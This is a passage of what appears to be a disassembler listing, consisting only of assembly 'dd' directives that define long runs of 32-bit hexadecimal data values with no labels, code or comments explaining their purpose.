		dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh
		dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h
		dd 1E5FDC8h, 5181AD1Fh,	6132B9C6h, 0F18CC8C0h, 36F02200h
		dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h
		dd 9636641h, 1D4B9085h,	9DBFFB83h, 948F00ACh, 0FA71EA55h
		dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h
		dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h
		dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh,	1A961130h
		dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h
		dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h,	4CD701E2h
		dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h
		dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah,	7402320h
		dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h
		dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h
		dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h
		dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h
		dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h
		dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h,	9541015Fh
		dd 39FD3B0h, 1913CC45h,	0A2900D66h, 4207D55Ch, 1A6CFD9Dh
		dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h
		dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h
		dd 7598ABCh, 2F06BD83h,	91590FEh, 8B005184h, 1CEEAA41h
		dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h
		dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h
		dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h,	8E431330h
		dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah,	8C8F878h
		dd 39A0200h, 80B96019h,	0C1FE00E2h, 0CAB1DFE7h,	440099A0h
		dd 35062005h, 3C3438Dh,	48777EB8h, 2C991F68h, 80CD4A5h
		dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h
		dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h,	810FF9EEh
		dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh
		dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah,	3AC07788h
		dd 7FBD14Ah, 956EEB62h,	9D8B50CEh, 83184787h, 14D010F0h
		dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h,	0B78E13B9h
		dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h,	89D1673Dh
		dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh
		dd 2130879h, 982E8B5Ch,	0A5606353h, 0CC03A869h,	28853AF3h
		dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h
		dd 5357AED6h, 0D83900FAh
		dd 68518376h, 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h
		dd 637C0CACh, 0F0444007h, 805973BFh, 114BD920h,	0EFE3A69h
		dd 552D098Eh, 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h
		dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h
		dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h
		dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h
		dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h
		dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh
		dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h
		dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h
		dd 0E2EACBFh, 2014510h,	2D4C6A30h, 0B09FC32Bh, 132C0732h
		dd 121CF018h, 11C1D08h,	80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh
		dd 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h
		dd 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h,	0DE1D5960h
		dd 40B51F5Bh, 792A4D6h,	2C037389h, 852E56DDh, 352DA0FCh
		dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h
		dd 164E912Dh, 0AF6CB8h,	0C20B9557h, 0C050C194h,	2DAD2201h
		dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h
		dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h
		dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h
		dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h
		dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah
		dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h
		dd 2E1F29C4h, 80E7438h,	4254C730h, 17AF9770h, 3F59FA90h
		dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h
		dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h,	77138B2Ah
		dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h,	5E2F412Eh
		dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h
		dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h
		dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h,	0E1002CBCh
		dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh,	52000B44h
		dd 7367650Eh, 0EE9320h,	0D3815A84h, 9B64C883h, 71BF1800h
		dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h,	41D7408h
		dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h
		dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h
		dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h
		dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h,	6CF100F6h
		dd 59AD14B9h, 107D865h,	0C7D8051h, 0BBF27F50h, 5AEB0039h
		dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h
		dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h
		dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h
		dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah
		dd 6741526h, 5869A703h,	0D8D1D7C2h, 13F681Ch, 3323E1FDh
		dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h,	0C0800F40h
		dd 704CA3Eh, 5E0E8803h,	304AC7C3h, 0C40C51F1h, 0B2262F07h
		dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h
		dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch
		dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h
		dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h
		dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h
		dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah
		dd 62FB53BDh, 190507Fh,	3300A0FCh, 13156A8h, 200BE5h, 5C15D524h
		dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h
		dd 10F28019h, 13001109h, 87D18512h, 0EE881848h,	44012C1Ch
		dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh
		dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h
		dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h
		dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h
		dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch
		dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h,	0FCCE78FFh
		dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h,	7430682Eh
		dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h,	0CED8AC10h
		dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h,	8DFC864Ah
		dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h
		dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h
		dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h
		dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h
		dd 2F6FFABh, 996625A7h,	4ADEEF7Eh, 3302C900h, 10CE307h
		dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h
		dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah,	500B91Fh
		dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h,	1058E665h
		dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h,	0DC1C5E06h
		dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh
		dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h,	715FC831h
		dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h
		dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h,	0B0067Dh
		dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h,	6A65D064h
		dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h,	0A39400D5h
		dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h,	420F01B7h
		dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh
		dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah
		dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h
		dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h
		dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h,	48469466h
		dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h
		dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h,	5AA59Fh
		dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah
		dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h,	0B88DC850h
		dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh,	0AA5E0033h
		dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh,	3EF58B98h
		dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh
		dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah
		dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h,	0DAC144AAh
		dd 16EC89h, 693E552h, 92EA3FEh,	3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h
		dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h,	74ECAC16h
		dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h,	0EC9E3937h
		dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh,	0AD39DE9Fh
		dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h,	2D004FF3h
		dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h
		dd 708498A4h, 0FEF28Fh,	736B6FF2h, 8CAA5524h, 8E749001h
		dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah
		dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h,	0CD3A7180h
		dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h,	2EB1215Eh
		dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh,	46002FC6h
		dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h
		dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh
		dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h
		dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh
		dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h
		dd 136FCA5h, 75323C48h,	0C8180C24h, 0AE0F1499h,	0E0232091h
		dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh,	47F20079h
		dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h,	1C1DE2FEh
		dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh
		dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh
		dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h,	2A0B24C3h
		dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh
		dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh,	0C20098D1h
		dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h
		dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h
		dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh
		dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh
		dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h,	0D8B4D753h
		dd 88FC3Fh, 0DAAD330Ch,	24CDC029h, 0F753FE00h, 1CA7A5D2h
		dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh
		dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch
		dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h,	26002D1Fh
		dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h
		dd 8339B045h, 0D5CFAAh,	0A81AC91Ch, 0BBA5EDDAh,	5A962F0Eh
		dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h
		dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch,	0E4EC3Ah
		dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h
		dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh,	0A60C0F17h
		dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh
		dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah
		dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h
		dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh,	8770808Eh
		dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch
		dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah
		dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h,	0BBBD3092h
		dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h
		dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h
		dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h
		dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h,	7822F980h
		dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah
		dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh
		dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h
		dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h
		dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah,	0C35691Fh
		dd 455ACD00h, 0E79117h,	324A8110h, 22C2098Fh, 0EFB8B000h
		dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h
		dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h
		dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah
		dd 0C73D9C15h, 388712h,	0E1B5358Eh, 207B3AD8h, 3C5A101Ch
		dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h,	3CDDA53Ah
		dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh
		dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h
		dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh,	4ED51D64h
		dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h
		dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh
		dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h
		dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h,	9E947E59h
		dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h
		dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h
		dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah,	6B5867EBh
		dd 0E106F0h, 86C403AFh,	912C2040h, 2A621D01h, 4F28023Fh
		dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h,	729A3F2Eh
		dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h
		dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h
		dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh
		dd 70AC4EA8h, 5FD5BD1h,	95796406h, 90740B9Dh, 11FEE7h
		dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h
		dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h
